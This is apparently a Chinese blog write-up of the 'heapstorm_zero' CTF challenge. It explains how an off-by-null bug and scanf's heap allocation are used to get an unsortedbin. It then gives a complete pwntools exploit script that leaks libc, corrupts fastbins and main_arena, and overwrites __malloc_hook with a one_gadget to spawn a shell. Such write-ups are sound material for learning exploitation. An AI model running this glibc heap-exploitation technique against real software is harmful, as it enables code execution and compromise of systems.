heapsorm
比赛的时候没做出来,想破了头也没找到怎么在只有0x20-0x40大小的fastbin的情况下利用offbynull来getshell,当时还以为真有这种方法没有学到
漏洞点很简单,就是个offbynull
unsigned __int64 __fastcall sub_EE0(_BYTE *a1, __int64 a2)
{
_BYTE *v2; // rbx
signed __int64 v3; // rdx
_BYTE *v4; // rax
bool v5; // zf
char buf; // [rsp+7h][rbp-31h]
unsigned __int64 v8; // [rsp+8h][rbp-30h]
v8 = __readfsqword(0x28u);
if ( a2 )
{
v2 = a1;
while ( 1 )
{
buf = 0;
if ( read(0, &buf, 1uLL) < 0 )
{
puts("Read error!!\n");
exit(1);
}
v4 = v2;
v5 = buf == 10;
*v2 = buf;
if ( v5 )
break;
v3 = (signed __int64)&(v2++)[1LL - (_QWORD)a1];
if ( v2 == &a1[a2] )
{
v4 = &a1[v3];
break;
}
}
}
else
{
v4 = a1;
}
*v4 = 0;
return __readfsqword(0x28u) ^ v8;
}
当输入content没有\n而且长度为len的时候会在之后添加一个\x00
整个程序严格来说就这里一个漏洞点,正常情况下的offbynull只有fastbin是不能用的,起码要搞出来一个unsortedbin才能行,然后我就苦思冥想怎么搞出来一个unsortedbin,当时想的是利用offbynull耗尽topchunk,然后fastbin就会合并,但是题目中的fastbin数量太小,而且范围也太小了,行不通
于是乎我就觉得这个题目还有别的洞我没找到,以为可以在他mmap一个随即地址的时候做些文章,然而并没有利用点
赛后请教大佬才知道scanf会分配堆上内存,而这个scanf是题目中读取choice的时候的。。。真的是藏得深,当时根本没想到。只要输入一个过长的字符串就可以在堆上分配buf,然后就可以合并fastbin搞出来一个unsortedbin了,剩下的就是一些繁琐的堆风水了。值得注意的一点是只有fastbin的利用offbynull的话没有正常模式下那么简单,还是有一点点绕的
我本人利用的方法是main_arena attack 劫持topchunk,比较繁琐,house of orange 可能简单一些
下面是exp:
from pwn import *
context.log_level = 'debug'
binary = './heapstorm_zero'
libc = ELF('libc64.so')
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./pwn/hctf/libc64.so")}
io = process(binary,env = env)
token = 'oirfqEdvVZHMPzzAsTMcRxfYASwHb3Hv'
def choice(c):
io.recvuntil('Choice:')
io.sendline(c)
def add(size,content):
choice('1')
io.recvuntil('size:')
io.sendline(str(size))
io.recvuntil('content:')
io.send(content)
def delete(index):
choice('3')
io.sendline(str(index))
def p():
gdb.attach(io)
raw_input()
def main():
add(0x38,'\n')#0
add(0x38,'\n')#1
add(0x38,'\n')#2
add(0x38,'\n')#3
add(0x38,'\n')#4
add(0x38,'\n')#5
add(0x38,'\n')#6
#---
add(0x38,'\n')#7
add(0x38,'\n')#8
for i in range(6):
delete(i+1)
choice('1'*0x2000)
add(0x38,'A'*0x38)#1
add(0x28,'B'*0x20 + '\x40'+'\n')#2
add(0x30,'C'*0x30)#3
add(0x20,'DDDDD\n')#4
delete(2)
choice('1'*0x2000)
delete(7)
choice('1'*0x2000)
#---
add(0x28,'B'*0x20+'\n')#2
add(0x28,'XXXX\n')#5
add(0x28,'YYYY\n')#6
#---
choice('2')
io.recvuntil('index:')
io.sendline(str(3))
io.recvuntil('Content: ')
leak = u64(io.recv(6).ljust(8,'\x00'))
libc_base = leak - libc.symbols['__malloc_hook'] - 0x10 - 0x58
log.success(hex(libc_base))
add(0x30,'hack1\n')#7 3
add(0x20,'hack2\n')#9 4
add(0x30,'\n')#10
add(0x20,'\n')#11
delete(9)
delete(11)
delete(4)
add(0x20,p64(0x41)+'\n')#4
add(0x20,'\n')#9
add(0x20,'\n')
target = libc_base + libc.symbols['__malloc_hook'] + 0x10 + 0x8
delete(7)
delete(10)
delete(3)
add(0x30,p64(target)+'\n')#3
add(0x30,'\n')#7
add(0x30,'hack\n')#10 3
target = target + 0x28
add(0x30,p64(0)*4 + p64(0x41)+'\n')#11
delete(10)
delete(7)
delete(3)
add(0x30,p64(target)+'\n')#3
add(0x30,'\n')#7
add(0x30,'hack\n')#10 3
add(0x38,p64(0)*0x3 + p64(libc_base + libc.symbols['__malloc_hook'] - 0x18) + p64(0)+p64(leak)*2)
one = 0xf02a4 + libc_base
add(0x38,p64(one)*4+'\n')
#---
delete(10)
delete(3)
io.interactive()
#---
if __name__ == '__main__':
main()
PREVIOUSxctffinal 2018
NEXT湘潭大学2018高校运维赛wp